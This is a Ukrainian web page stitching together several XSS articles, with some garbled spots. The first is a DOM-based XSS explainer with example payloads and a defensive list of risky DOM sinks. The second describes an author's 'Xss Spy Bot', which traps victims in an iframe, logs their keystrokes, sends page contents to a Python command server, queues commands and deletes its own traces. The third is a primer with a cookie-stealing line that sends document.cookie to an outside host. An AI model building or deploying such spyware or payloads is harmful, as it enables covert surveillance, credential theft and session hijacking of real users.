Xss атака навчання. Що являє собою XSS-уразливість

Xss атака навчання. Що являє собою XSS-уразливість

Всі ми знаємо, що таке міжсайтовий скриптинг, правда? Це вразливість, коли атакуючий посилає зловмисні дані (зазвичай це HTML, що містить код Javascript), які пізніше повертаються додатком, що викликає виконання Javascript коду. Отже, це не так! Існує тип XSS атак, що не відповідає цьому визначенню, принаймні в основних фундаментальних принципах. XSS атаки, визначення яких наведено вище, поділяються на моментальні (зловмисні дані вбудовуються в сторінку, яка повертається браузеру відразу після запиту) і відкладені (зловмисні дані повертаються через деякий час). Але є ще третій тип XSS атак, основу якого лежить відправка зловмисних даних на сервер. Незважаючи на те, що це здається таким, що суперечить здоровому глузду, є два добре описані приклади такої атаки. Ця стаття описує третій тип XSS атак - XSS через DOM (DOM Based XSS). Тут не буде написано нічого принципово нового про атаку, скоріше нововведення цього матеріалу у виділенні відмінних рис атаки, які є дуже важливими та цікавими.

Розробники та користувачі прикладних додатків повинні розуміти принципи атаки XSS через DOM, оскільки вона становить загрозу для web-додатків і відрізняється від звичайного XSS. У мережі інтернет є багато web додатків уразливих до XSS через DOM і при цьому перевірених на XSS та визнаних "невразливими" до цього типу атак. Розробники та адміністратори сайтів повинні ознайомитися з методами виявлення та захисту від XSS через DOM, оскільки ці методики відрізняються від прийомів, що використовуються під час роботи зі стандартними XSS вразливістю.

Вступ

Читач повинен бути знайомий з основними принципами XSS атак (, , , , ). Під XSS зазвичай мається на увазі моментальний () і відкладений міжсайтовий скриптинг. При миттєвому XSS зловмисний код (Javascript) повертається атакованим сервером негайно як відповідь на запит HTTP. Відкладений XSS означає, що зловмисний код зберігається на системі, що атакується, і пізніше може бути впроваджений в HTML сторінку вразливої ​​системи. Як було згадано вище, така класифікація передбачає, що фундаментальна властивість XSS полягає в тому, що зловмисний код надсилається з браузера на сервер і повертається в той же браузер (моментальний XSS) або будь-який інший браузер (відкладений XSS). У цій статті порушується питання, що це неправильна класифікація. Можливість здійснення XSS атаки, що не ґрунтується на впровадженні коду в сторінку, що повертається сервером, мала б серйозний вплив на методи захисту та виявлення. Принципи таких атак обговорюються у цій статті.

Приклад та коментарі

Перед описом найпростішого сценарію атаки важливо наголосити, що методи, що описуються тут, вже неодноразово демонструвалися публічно (наприклад, , і ). Я не претендую на те, що наведені нижче методики описуються вперше (хоча деякі з них мають відмінність від раніше опублікованих матеріалів).

Ознакою вразливого сайту може служити наявність HTML сторінки, яка використовує дані з document.location, document.URL або document.referrer (або будь-яких інших об'єктів, на які може впливати атакуючий) небезпечним способом.

Примітка для читачів незнайомих із цими об'єктами Javascript: коли Javascript виконується в браузері, він отримує доступ до кількох об'єктів, представлених у рамках DOM (Document Object Model – Об'єктна Модель Документу). Об'єкт document є головним серед цих об'єктів і надає доступ до більшості властивостей сторінки. Цей об'єкт містить багато вкладених об'єктів, таких як location, URL та referrer. Вони керуються браузером відповідно до точки зору браузера (як буде видно нижче, це дуже суттєво). Отже, document.URL і document.location містять URL сторінки, а точніше те, що браузер має на увазі під URL. Зверніть увагу, ці об'єкти не беруться з HTML-сторінки. Об'єкт document містить об'єкт body, що містить оброблений (parsed) HTML код сторінки.

Не складно знайти HTML сторінку, що містить Javascript код, який аналізує рядок URL (отримавши доступ до неї через document.URL або document.location) і відповідно до її значення виконує деякі дії на стороні клієнта. Нижче наведено приклад такого коду.

За аналогією з прикладом розглянемо наступну HTML сторінку (припустимо, що це зміст http://www.vulnerable.site/welcome.html):

Welcome! Hi var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Welcome to our system …

Однак запит на кшталт цього –

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

викликав би XSS. Розглянемо чому: браузер жертви, який отримав це посилання, відправляє HTTP запит на www.vulnerable.site і отримує вищезгадану (статичну!) HTML сторінку. Браузер жертви починає аналізувати цей HTML-код. DOM містить об'єкт document, що має поле URL, і це поле заповнюється значенням URL поточної сторінки під час створення DOM. Коли синтаксичний аналізатор доходить до Javascript коду, він виконує його, що викликає модифікацію HTML коду сторінки, що відображається. У даному випадку код посилається на document.URL і так як частина цього рядка під час синтаксичного розбору вбудовується в HTML, який відразу ж аналізується, виявлений код (alert(…)) виконується в контексті тієї ж самої сторінки.

Зауваження:

1. Зловмисний код не вбудовується в HTML сторінку (на відміну від інших різновидів XSS).
2. Цей експлойт буде працювати за умови, що браузер не модифікує символи URL-адреси. Mozilla автоматично кодує символи '' (%3C і %3E відповідно) у вкладених об'єктах document. Якщо URL було надруковано безпосередньо в рядку адреси, цей браузер невразливий для атаки, описаної в цьому прикладі. Однак, якщо для атаки не потрібні символи (у вихідному незакодованому вигляді) атаку можна здійснити. Microsoft Internet Explorer 6.0 не кодує '' і тому вразливий до описаної атаки без будь-яких обмежень. Однак існує багато різних сценаріїв атаки, що не вимагають '', і тому навіть Mozilla не має імунітету до цієї атаки.

Методи виявлення та запобігання вразливості цього типу

У прикладі вище зловмисний код все ще передається на сервер (як частина HTTP запиту), тому атака може бути виявлена, як і будь-яка інша XSS атака. Але це вирішувана проблема.

Розглянемо наступний приклад:

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

Зверніть увагу на символ '#' праворуч від імені файлу. Він говорить браузеру, що все після цього символу не є частиною запиту. Microsoft Internet Explorer (6.0) і Mozilla не надсилає фрагмент після символу '#' на сервер, тому для сервера цей запит буде еквівалентним http://www.vulnerable.site/welcome.html, тобто. зловмисний код навіть не буде помічений сервером. Таким чином, завдяки цьому прийому браузер не відправляє зловмисне корисне навантаження на сервер.

Але все ж таки в деяких випадках неможливо приховати корисне навантаження: і зловмисне корисне навантаження є частиною імені користувачі (username) в URL типу http://username@host/. У цьому випадку браузер відправляє запит із заголовком Authorization, що містить ім'я користувачі (зловмисне корисне навантаження), внаслідок чого зловмисний код потрапляє на сервер (закодований за допомогою Base64 – отже IDS/IPS для виявлення атаки повинні спочатку декодувати ці дані). Однак сервер не зобов'язаний впроваджувати це корисне навантаження на одну з доступних HTML сторінок, хоча це є необхідною умовою виконання XSS атаки.

Очевидно, що в ситуаціях, коли корисне навантаження може бути повністю приховано, засоби виявлення (IPS) та запобігання (IPS, міжмережевих екранів для web додатків) не можуть повністю захистити від цієї атаки. Навіть якщо корисне навантаження потрібно відсилати на сервер, у багатьох випадках для уникнення виявлення вона може бути перетворена певним чином. Наприклад, якщо якийсь параметр захищений (наприклад, параметр name у прикладі вище), невелика зміна сценарію атаки може дати результат:

(document.cookie)

Суворіша політика безпеки вимагала б обов'язкового відсилання параметра name. У цьому випадку ви можете зробити наступний запит:

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

Якщо політика безпеки обмежує додаткові імена параметрів (наприклад: foobar), можна використовувати такий варіант:

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

Зверніть увагу, що параметр, що ігнорується (foobar) повинен йти першим і у своєму значенні містити корисне навантаження.

Сценарій атаки, описаний в , ще кращий для атакуючого, оскільки в HTML сторінку пишеться повне значення document.location (Javascript код не здійснює пошук специфічного імені параметра). Таким чином, атакуючий може повністю приховати корисне навантаження, відправивши таке:

/attachment.cgi?id=&action=foobar#alert(document.cookie)

Навіть якщо корисне навантаження аналізується сервером, захист може гарантуватися лише в тому випадку, якщо запит буде відхилено або відповідь замінена на деякий текст помилки. Звернемося знову і: якщо заголовок Authorization буде просто видалено проміжною системою захисту, це не принесе жодного ефекту, якщо буде повернуто оригінальну сторінку. Аналогічно будь-яка спроба обробки даних на сервері шляхом видалення або кодування заборонених символів буде неефективна проти цієї атаки.

У разі document.referrer, корисне навантаження відсилається на сервер через заголовок Referer. Однак, якщо браузер користувача або проміжний захист видалити цей заголовок, не залишиться жодних слідів атаки, які можна пройти повністю непоміченою.

Підсумовуючи, робимо висновок, що традиційні методи, а саме

1. Кодування даних HTML на стороні сервера
2. Видалення/кодування заборонених вхідних даних на стороні сервера не працює проти DOM XSS.

Автоматичний пошук вразливості шляхом "бомбардування" зловмисними даними (іноді званий fuzzing) не буде працювати, оскільки програми, що використовують цю методику, зазвичай роблять висновки на основі того, чи є впроваджені дані у поверненій сторінці чи ні (замість виконання коду в контексті браузера на стороні клієнта та спостереження за результатами). Однак, якщо програма може статично аналізувати код Javascript, виявлений на сторінці, вона може вказати на підозрілі ознаки (див. нижче). І звичайно, якщо засоби захисту можуть виконувати код Javascript (і коректно ініціалізувати об'єкти DOM) або емулювати таке виконання, вони зможуть виявити цю атаку.

Ручний пошук вразливості за допомогою браузера також працюватиме, оскільки браузер може виконувати клієнтський код Javascript. Засоби пошуку вразливостей можуть використовувати цей метод і виконувати код на стороні клієнта для стеження за результатами його виконання.
Ефективний захист

Уникати перезапису документа на стороні клієнта, переадресації або інших подібних дій, що використовують дані на стороні клієнта. Більшість цих дій може бути виконано за допомогою динамічних сторінок (на стороні сервера).
2.

Аналіз та підвищення захищеності коду (Javascript) на стороні клієнта. Посилання на об'єкти DOM, на які може впливати користувач (атакуючий), повинні бути ретельно перевірені. Особливу увагу слід приділяти наступним об'єктам (але не обмежуватися ними):
* document.URL
* document.URLUnencoded
* document.location (і його властивості)
* document.referrer
* window.location (і його властивості)

Зверніть увагу: на властивості об'єктів document і window можна послатися кількома способами: явно (приклад window.location), неявно (приклад location) або через отримання дескриптора та використання його (приклад handle_to_some_window.location).

Особливу увагу потрібно приділити коду, де модифікується DOM, явно чи є потенційна можливість, а також через прямий доступ до HTML або через безпосередньо до DOM. Приклади (це ні в якому разі не вичерпний список):
* Запис у HTML код сторінки:
o document.write(…)
o document.writeln(…)
o document.body.innerHtml=…
* Зміна DOM безпосередньо (включаючи події DHTML):
o document.forms.action=… (та інші варіації)
o document.attachEvent(…)
o document.create…(…)
o document.execCommand(…)
o document.body. … (доступ до DOM через об'єкт body)
o window.attachEvent(…)
* Зміна URL документа:
o document.location=… (а також присвоєння значень href, host і hostname об'єкта location)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o document.URL=…
o window.navigate(…)
* Відкриття/модифікація об'єкта window:
o document.open(…)
o window.open(…)
o window.location.href=… (а також присвоєння значення host і hostname об'єкта location)
* Виконання скрипта безпосередньо:
o eval(…)
o window.execScript(…)
o window.setInterval(…)
o window.setTimeout(…)

Протягом вищезгаданого прикладу для ефективного захисту оригінальний скрипт може бути замінений наступним кодом, який перевіряє рядок, що записується в HTML сторінку на наявність лише алфавітно-цифрових символів.

Всім давно відомо, що найчастіше за допомогою XSS атакуючий намагається відправити Cookie жертви, прочитати CSRF токени, провести фішингову атаку (створивши фальшиву форму логіну), зробити якусь дію від імені користувача та деякі інші близькі за метою атаки (можливо, це не всі можливості, але це все найбільш популярні відомі мені зараз).

Мета цього методу - моніторити сторінки від імені користувача, за якими він переходить на сайту, що атакується, а також моніторити його натискання клавіш (можна ще руху і кліки мишкою, але по мені так це буде зайвою, не особливо корисною інфою, в більшості випадків точно) .
Тепер щодо максимальної користі — я вважаю, що алгоритм буде таким:

  • читаємо та відправляємо Cookie;
  • читаємо та відправляємо іншу інфу (IP-адреса, встановлені плагіни, версія та вид браузера, підтримка flash, підтримка silverlight тощо) [опціонально]
  • видобуваємо відомості про внутрішню мережу, пробиваємо роутер [опціонально]
  • читаємо та відправляємо різні токени [опціонально];
  • реалізовуємо фішинг [опціонально];
  • робимо щось «руками»» користувача [опціонально];
  • продовжуємо шпигувати за ним і добувати інфу, доки він не закрив вкладку або не пішов із сайту;

Всі опціональні пункти списку імхо повинні виконуватися залежно від ситуації та конкретних пріоритетів у цілях, яких треба досягти за допомогою XSS, вони іноді можуть заважати один одному (якщо спробувати їх скомбінувати, точніше виконати один за одним) та збільшують ймовірність провалу експлуатації XSS.
Але перший і останній пункти виконувати варто завжди, при будь-якому розкладі. Власне основна частина статті буде про останній пункт з цього списку.

Підходимо до мети.

Почну здалеку: через JavaScript можна змінювати шлях в адресному рядку без перезавантаження сторінки. Наприклад, якщо користувач завантажив сторінку за адресою


То в адресному рядку зміст стане наступним (без перезавантаження сторінки):

http://site.com/new-url/


Ця можливість, до речі, іноді буває досить корисною, коли від користувачів (або уважнішої категорії користувачів - адмінів) треба приховати швидко почистити URL після того, як він перейшов за посиланням, де містилася Reflected XSS, щоб він потім, після завантаження сторінки, подивившись в адресний рядок нічого не виявив.

http://site.com/search.php?q=123 document. body. innerHTML += "Hacked" ;

http://site.com/search.php?q=123 window. history. pushState ("", "", "/"); document. body. innerHTML += "Hacked" ;


ми позбавимо його цієї можливості.

Але ця техніка має ще цікавіше і потужне застосування. Ми будемо імітувати користувачеві його перебування на сайті після переходу за посиланням, насправді він залишатиметься на одній сторінці весь час, а в цей час буде працювати сторонній скрипт, який видобуває і відсилає інфу атакуючому. Таким чином, XSS буде працювати протягом усього часу, поки користувач переходить за посилання на цьому домені .

Позначаємо ідею.

Загальний принцип роботи такий: коли користувач заходить на сторінку з XSS, скрипт створює iframe з такою ж адресою, як це сторінка і «прикріплює» його на перший план, у користувача створюється враження, ніби сторінка завантажилася нормально, адже iframe можна побачити тільки в коді сторінки.

А допоміжний скрипт контролює логіку бота-шпигуна, тобто стежить за тим, коли у кадрі зміниться адреса, щоб змінити його в адресному рядку, якщо ж у новозміненому адресі кадру інший домен, то можна відкрити його на новій вкладці, або доведеться перезавантажувати сторінку , щоб не спалити.
Таким чином, щоб XSS перестала виконуватися в даний момент, користувач повинен або оновити сторінку вручну (якщо XSS - Reflected і передавалася методом POST, в інших випадках оновлення не врятує, і до речі деякі браузери зараз при оновленні сторінки можуть знову відправити POST запит повторно) або закрити вкладку або перейти на інший домен (хоча в цьому випадку можна уникнути втрати управління).

Якщо він переходить у піддомент атакованого домену, то тут вибір атакуючого, тобто XSS буде працювати, але є невелика ймовірність, що користувач просіче невідповідність між адресою. Думаю, що тут за ситуацією, наприклад, якщо атакувався домен google.ru, користувач перейшов у хмарний файловий сервіс гугла, який зазвичай лежить у піддомені drive.google.ru, то ймовірність того, що він помітить каверзу при погляді в адресний рядок досить висока , якщо він часто користувався цим сервісом. Інакше можна й ризикнути. Але треба врахувати, що читати його дані з кадру з піддоменом ми вже не зможемо, оскільки Cross Origin Policy не дозволить. Зате можемо спокійнісінько полазити по основному домену від його імені в прихованому режимі (нижче буде про це детальніше).

Тільки цей метод має обмеження, а саме він не працюватиме, якщо у відповідях веб-сервера сайту є заголовок X-Frame-Options зі значенням DENY. Але особисто я такі сайти зустрічав буквально пару разів, зараз навіть у половини SAMEORIGIN не виставлений, не кажучи вже про повне обмеження через DENY.

Аналізуємо ідею.

Зараз багато хто напевно згадав таку чудову штуку, як BeEF, в якому є теж дуже багато цікавих речей. Так до речі теж є налаштування форсованого редиректа користувача у кадрі, ось тільки адреса в адресному рядку не змінюється, що може швидко спалити конторку і ця опція трохи для інших цілей служить.
Загалом у BeEF'e є майже все, що необхідно і навіть багато додаткових функцій, але особисто мені хотілося додаткового функціоналу, а саме:

  • можливість моніторити код сторінок, які доступні користувачеві, що атакується в реальному часі;
  • можливість дивитися все, що він набирає на тому сайті (від логіну та паролю, до хоткеїв та повідомлень), тобто keylogger на JS;
  • можливість давати команди на JS своєму боту в реальному часі після перегляду коду отриманих сторінок;
  • можливість залишати роботу команди локально, щоб він потім їх «забирав» і виконував без прямої нашої участі;
  • більш маленька ймовірність спалитися боту, чи можливість бота «ховатися» від цікавих очей;

Як було згадано вище, вирішив запозичити у BeEF'a класну ідею черги виконання команд. Наприклад, були проаналізовані сторінки, які скинув бот, коли привілейований користувач лазив у себе в панелі управління зі stored XSS, ми залишаємо роботу команди - JS-код, типу наступного разу коли користувач зайде, натисніть цю кнопку, запиши сюди таке значення і тд Коли цей користувач наступного разу заходить на сторінку, робот читає команди і виконує їх, а нам не обов'язково бути біля його штурвала - дуже зручно.

В основному такий бот, звичайно розрахований для статусних користувачів будь-яких сайтів, які мають додаткові «важелі» управління контентом, іншими користувачами і т.д. Із запитів щодо функціоналу видно, що без серверної частини не обійтися.

Реалізуємо ідею.

Цю частину статті у принципі можна пропустити, оскільки вона просто визначає процес реалізації потрібного бота і його деталі, у разі, якщо хтось захоче його переробити чи допилить під себе. Хоча у бот на початку коду будуть змінні, через які можна виставити деякі налаштування.
Спочатку алгоритм дій бота з моменту завантаження:

1) Перевірка наявності заголовка X-Frame-Options:DENY(якщо є, то згортаємо вудки);
2) Вбудовування кадру та налаштування всіх компонентів робота;
3) Видалення скрипту та всіх слідів у HTML-коді;
4) Налагодження контакту з сверверной частиною та початок пересилання даними, реагуючи на відповіді (отримуючи від сервера команди);

Перший пункт зробив не зовсім повноцінно, тобто робота перевіряє тільки першу сторінку і кореневу заголовка. Справа в тому, що зазвичай ці заголовки вбудовуються веб-сервером і для всіх сторінок відразу і дуже рідко, що для окремої сторінки все робиться "вручну". Та й цей заголовок сам собою досить рідкісний. Ну а по другому та третьому особливо говорити нічого, нижче все буде.

Є відносно важливий момент, що перед додаванням коду скрипта бота у своєму коді треба позбавлятися ознак XSS в адресному рядку відразу (від JS коду), тому що це зменшує шанси на виявлення і найголовніше - запобігає рекурсії, яка виникає при додаванні до фрейму адреси з тим же XSS кодом, який у свою чергу створює ще один кадр із собою і т.д.

Але про всяк випадок у коді бота реалізована можливість детекту такої фреймової рекурсії та запобігання при першій же спробі додавання фрейму вже створений, але краще не сподіваються тільки на неї, а додатково видаляти код перед завантаженням коду бота. Хоча проблем ще не зустрічав.

Функція перевірки оновлення кадру. Перепробував кілька способів ощадливо вирішити цю проблему за допомогою вішання обробників подій на contentWindowабо contentDocumentАле нічого не вдалося, тому довелося писати функцію, яка чекала б адресу кадру і порівнювала його зі збереженим до цього, і на основі цього вирішувала, чи кадр відновлюється (змінилася адреса) і потім сама себе рекурсивно викликала.

Частота таких перевірок за секунду регулюється змінною delayяка вказана на початку файлу коду бота. Але пізніше, вже написавши її, знайшов ефективніше рішення — використовувати просте рішення та повісити onloadна кадр, так що ту функцію я залишив, але закоментував, на випадок, якщо вона потім виявиться більш затребуваною.

Надсилання HTML-коду сторінки.

Тут схема досить проста — після кожної перезавантаження кадру (включаючи перше провантаження) бот відправляє на сервер весь HTML-код сторінки разом з поточною її адресою, щоб потім можна було відрізняти належність коду до потрібних сторінок.

На сервері реалізовано логіку складування сторінок — сервер для кожного домену створює папку з назвою цього домену і туди зберігаємо всі дані. Коди сторінок зберігаються та постійно оновлюються на актуальні версії, але при цьому кожен новий день створюється вже нова копія сторінки, щоб можна було за необхідності контролювати історію версій. Тобто для /news.php 1 вересня стан буде оновлюватися, а вже 2 вересня буде створено її копію, тільки актуальну вже на цей день і так з кожним днем ​​заново (якщо користувач відвідує цю сторінку щодня). Назва сторінки складається з дати та шляху до цієї сторінки щодо кореня сайту (тобто без домену).

Кейлоггер JavaScript'e.

Ідея вже була реалізована деякими ентузіастами, але для мене їх напрацювання не підходили, хоча б тому, що більшість із них були досить простими, тобто детектували код натиснутої клавіші і через String.fromCharCodeпереводили до символів. Але у такого методу ряд недоліків - керуючі клавіші типу шифту, контролю, пропуску та ін, не переводяться ні в який вид (часто просто в порожній символ), взаємодія цифро-літерних клавіш з шифтом некоректно логується, так як це треба реалізовувати програмно, а також всі натиснуті клавіші відображаються у верхньому регістрі, що теж виправляти програмно.

У результаті вийшов кейлоггер, який коректно детектував усі клавіші цифр, літер та основних знаків, працюючи на обох розкладках, реагую на шифт та логуючи всі основні спеціальні клавіші. Правда деякі знаки (у верхній частині цифрового ряду, які друкуються при натиснутому шифті та цифрі), на деяких машинах можуть відрізнятися, оскільки були реалізовані за основними стандартами, які деякі компанії змінюють.
Кожна порція натиснутих символів зберігається у клієнта, поки текстовий елемент не втратить фокус. Далі ця порція відправляється на сервер, де зберігається в текстовому файлі, який також буде створюватися щодня з новою копією, щоб не було зростання до великих розмірів і можна було швидко визначити, що користувач набирав у такий час.
Повз самі клавіші на сервер відправляється з кожною порцією інформація про елемент, в якому набирався текст (чи був це , [ або який-небудь коли користувач користувався хоткеями), крім назви елемента відправляється його основні дані (id, name, class - якщо вони присутні), щоб його потім можна було легко знайти в коді. Ну і звичайно записується адреса сторінки, на якій був набір і приблизний час цього набору. Загалом інформації про стукання користувача по клавіатурі відправляється цілком достатньо для подальшого її аналізу.

Командування своїм роботом.

Цей процес може здійснюватися атакуючим або на стороні, де запустить серверну частину бота або навіть віддалено. Після запуску серверного скрипта стартує самописний мініатюрний веб-сервер, який обслуговує запити бота та його контролера, який працює через веб-інтерфейс. Тобто після запуску веб-сервер видає посилання, зайшовши яким можна почати віддавати команди боту.

Про цю панель управління. По-перше, треба було обмежити її паролем (шлях і мало хто знатиме про запущений сервіс на такому порту або про адресу, за якою треба зайти, щоб цим сервісом скористатися), так що при першому заході сервер запросить пароль, який подається в адресному рядку (приклад буде вказано), оригінал пароля зберігається в password.txt, який можна змінити. Після першого заходу веб-сервер дасть команду браузеру зберегти пароль cookie, так що далі про це можна не турбуватися.

На самій сторінці висилання команд роботу знаходиться також інформація про стан робота - онлайн або офлайн він на даний момент, і пару налаштувань, перша з яких - хост, тобто IP-адреса або домен сайту, роботу якого будуть відправлені команди. Це розраховано на випадок, якщо кілька сайтів будуть містити цього бота, щоб їх можна було ідентифікувати. На сервері також для цього випадку всі дані розділені на папки з назвами доменів.
Далі йде вікно, де писати команди роботу на JS, і опція, яка встановлює, де буде виконуватися цей JS-код, на головному вікні, де сидить бот або у фреймі - це зроблено на зручності, про всяк випадок.

Якщо робота онлайн немає, то сервер легко зберігає команди і потім, коли робот виходить в онлайн, тобто користувач знову відвідує сторінку з ним або переходить за посиланням атакуючого - ці команди будуть виконані.
Це дуже зручно, якщо при першій розвідці бот скинув всі відвідані користувачем сторінки (наприклад особистого кабінету), вивчивши код яких ми склали команди на JS, щоб потім бот клацнув за потрібними нам посиланнями, ввів потрібні дані, відобразив потрібні картинки тощо, що допоможе досягти поставленої мети.

А можна прямо в режимі реального вермені, швидко дивитися вміст сторінок через код і віддавати боту команди, щоб той надіслав код інших сторінок, перейшов за іншою адресою тощо. І все це робитиметься «за ширмою» у користувача, який спокійнісінько буде серфити сайту чере кадр.

Для своєї зручності можна формувати інструкції, що найчастіше використовуються в цілі функції на JS, які потім заносити у вихідний файл боти ( xsb.jsпро файлову структуру ще буде нижче) і використовувати. Або використовувати вже ті з функцій, які закладені в бота, правда там тільки основа і нічого нового немає, але можна скористатися функцією відправки коду сторінки в будь-який момент часу, а не тоді, коли перезавантажується кадр. Можна написати функцію, яка відкриватиме передані їй посилання нових кадрах на задньому плані, щоб переглядати вміст стразу кількох сторінок від імені користувача (і оперувати цим вміст його віртуальними руками).

Видалення власного коду.

Та й остання можливість реалізується досить просто (її можна відключити, задавши потрібну змінну у файлі, вони прокоментовані). Скрипт, після налаштування та вішання всіх обробників подій, створення всіх змінних та функцій сам себе видаляє

Адже всі дані вже були завантажені в оперативну пам'ять через браузер, так що турбуватися нема про що, але це в теорії, може потім і будуть якісь проблеми, які я не врахував, так що я віддав зміну, якою можна відключити цю можливість необхідності.

Після видалення всіх скриптів помітити XSS буде вкрай складно, оскільки наявності кадру не говорить про це досить опосередковано, а сам код можна знайти хіба що в логах історії мережевого трафіку браузера (які не ведуть за замовчуванням у багатьох браузерах, якщо не відкрита панель розробника) .

Серверні частини.

Для більш простого та зручного способу запуску бота було вирішено писати свій маленький веб-сервер на сокетах, який би обслуговував бота, забезпечував усі операції з прийняття та розміщення надісланих даних, передавав би повідомлення між атакуючим та ботом та створював би атакуючому веб-інтерфейс для командування .
Писався сервер на пітоні, я тарався використовувати лише стандартні бібліотеки, щоб не треба було нічого встановлювати перед запуском. Також сервер сам керує деякими даними в скриптах, тобто в JS-скрипті бота не потрібно встановлювати адресу командувача сервера, веб-сервер сам виставить туди необхідний при запуску. У конфігурації сервера є лише один параметр - порт, на якому він запуститися (за замовчуванням 8000).
Після запуску сервер видасть всі необхідні дані - посилання на JS-скрипт, яку треба буде підсунути, посилання на панель командування, точніше посилання - на зовнішню та локальну адреси, для зручності.

Схема роботи з роботом.

Запускаємо сервер на якомусь незатребуваному порту і можна розсилати посилання зі скриптом бота, далі всі, хто по ньому перейдуть будуть надсилати вам дані, які сервер зберігатиме в будь-який час дня. Потім можна просто їх переглянути, якщо є необхідність залишити роботу команди і далі займатися своїми справами.

Файлова структура.

У папці є такі файли:

  • xsb.py - основний файл, який реалізує серверну частину, для роботи робота запустити його, а далі просто використовувати пропоноване їм посилання;
  • xsb.js - тут зберігатися JS код бота, посилання на який видає сервер, на його початку оголошені конфігураційні змінні, які можна змінити на свій розсуд (деякі, а саме хост і порт сервер виставить потім сам, можна не паритися);
  • panel.html - звідси сервер бере код для панелі управління ботом, можна підправити інтерфейс на власний розсуд;
  • password.txt - тут зберігатися пароль від панелі керування, які можна змінити;
  • savedData — це директорія, в якій будуть створюватися папки з доменами сайтів, у яких зберігатиметься вся інформація.

Ще раз зауважу, що у файлі xsb.jsможна додавати свої функції, які потім викликати через панель, не розписуючи величезні порції коду;

Невеликий аналіз результатів.

Після написання свого придуманого способу утримання юезра на сторінці з XSS через фрейми (ну як придуманого — я його особисто для себе відкрив, цілком можливо, що хтось ще для себе цю ж техніку «винаходив» або вона взагалі десь у паблиці світилася, адже зараз вже розробити щось по-справжньому нове досить складно, і зазвичай через якийсь час виявляєш, що «це вже було в Сімпсонах») я почав детальніше копатися в BeEF'e і читати його wiki. Після цього виявив, що там була реалізована інша техніка досягнення тієї ж мети - продовження часу польователя на сторінці з виконуваною XSS (яку там іменували man-in-the-browser). А реалізовувалась так: всі посилання на початковій сторінці змінювалися таким чином, що при натисканні на будь-яку з них скрипт не перезавантажував сторінку, а через Ajax відправляв запит на сервер і вставляв отримані у відповіді дані, тобто можна сказати штучно оновлював її, що було також майже не відрізняються від звичайного рефрешу.

Тому мені не першому вдалося цей задум реалізувати (нехай навіть і способи виявилися різними). Але обидва ці методи мають свої недоліки:

Спосіб підвантаження через не працює за наявності заголовка у відповіді X-Frame-Options:DENY, Зате в іншому оре, як звичайне вікно браузера;

Спосіб подругз через ajax працює завжди, якщо браузер підтримує це (зараз всі основні барузери підтримують), але при цьому з новим стандартом Web 2.0 все більше і більше переходів ініціюється кастомними подіями будь-яких елементів через JS. Одного разу зайшов на Google AdWords і вирішив подивитися, як там у них HTML і JS взаємодіють, тому що всі мої спайдери вкрай погано справлялися з картою цього сервісу. І я тихо охренював весь вечір, наскільки там все не звично було, коли текстові елементи були і кнопками і светрами, і слайдерами і чим тільки не зображалися, і на кожному висіло десь по 30 обробників різних подій.

Тобто на навороченому сайті кнопка переходу (суб'єктивно посилання) буде реалізована через звичайний тег , який навантажений стилями і на якого навішано обробників подій, один з яких, наприклад, onclick перенаправляє користувача на іншу сторінку. Також є стандартні елементи типу [i]чи сам та ін., які теж фактично є посиланнями на інші сторінки, але на які BeEF не реагуватиме і сторінка просто не оновлюватиметься при натисканні на більшість кнопок та інших елементів. Що може спонукати користувача оновити сторінку або перезайти з іншого боку, що вбиває нашу активну XSS-сесію.

Для стислості іменування файлів назвав його - Xss Spy Bot.

P.S.
Вся ця справа писалася трохи більше місяця через періодичну нестачу часу і постійних відволікаючих факторів. Так само через це і якість коду і можливість нарватися на який-небудь баг досить висока. Тож прошу особливо не лаятись, а відписуватись, що в когось не так, щоб можна було це виправити.
Сам я протестував робота лише на 4 машинах, на всіх стояв Debian.

У далеких планах цього бота, якщо буде мотивація:
- Продати рендеринг коду сторінок, які бот надсилає на сервер, щоб відразу в браузері відкривався і його можна було «мацати», тестувати на льоту;
— спробують уловити плюшок з технології WebRTC, тобто знайти способи добути нову інформацію, яка чистим JS не витягується;
- реалізувати спілкування бота та сервера за протоколом WebSocket поверх HTTP;
- Додати деякі зручності на панель управління;

Last updated by at Листопад 18, 2016 .

Що таке XSS і як від нього захиститься всі вже давно знають, тому буду стислий. XSS це можливість зловмисника певним чином (посилання на можливі варіанти дивіться наприкінці статті) інтегрувати в сторінку сайту-жертви скрипт, який буде виконано під час її відвідин.

Цікаво, що в більшості випадків, де описується дана вразливість, нас лякають наступним кодом:

http://www.site.com/page.php?var=‹script›alert("xss");

Якось не дуже страшно:) Чим же справді може бути небезпечною дана вразливість?

Пасивна та активна

Існує два типи XSS вразливостей – пасивна та активна.

Активна вразливістьбільш небезпечна, оскільки зловмиснику немає необхідності заманювати жертву за спеціальним посиланням, йому достатньо впровадити код в базу або файл на сервері. Таким чином, усі відвідувачі сайту автоматично стають жертвами. Він може бути інтегрований, наприклад, за допомогою SQL-коду (SQL Injection). Тому не варто довіряти даним, що зберігаються в БД, навіть якщо при вставці вони були оброблені.

приклад пасивної вразливостіможна подивитися на самому початку статті. Тут уже потрібна соціальна інженерія, наприклад, важливий лист від адміністрації сайту з проханням перевірити налаштування свого облікового запису, після відновлення з бекапу. Відповідно, потрібно знати адресу жертви або просто влаштувати спам-розсилку або розмістити пост на якомусь форумі, та ще й не факт, що жертви виявляться наївними і перейдуть за вашим посиланням.

Причому пасивної вразливості можуть бути піддані як POST, так і GET-параметри. З POST-параметрами, зрозуміло, доведеться йти на хитрощі. Наприклад, переадресація із сайту зловмисника.

document.getElementsByTagName("form").submit();

Отже, GET-уразливість трохи небезпечніша, т.к. жертві легше помітити неправильний домен, ніж додатковий параметр (хоча URL можна взагалі закодувати).

Крадіжка Cookies

Це найчастіше наведений приклад XSS-атаки. У Cookies сайти іноді зберігають якусь цінну інформацію (іноді навіть логін і пароль (або його хеш) користувача), але найнебезпечнішим є крадіжка активної сесії, тому не забуваємо натискати посилання «Вихід» на сайтах, навіть якщо це домашній комп'ютер. На щастя, на більшості ресурсів час життя сесії обмежений.

var img = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

Тому і ввели доменні обмеження на XMLHttpRequest, але зловмиснику це не страшно, оскільки , , background:url(); і т.п.

Крадіжка даних із форм

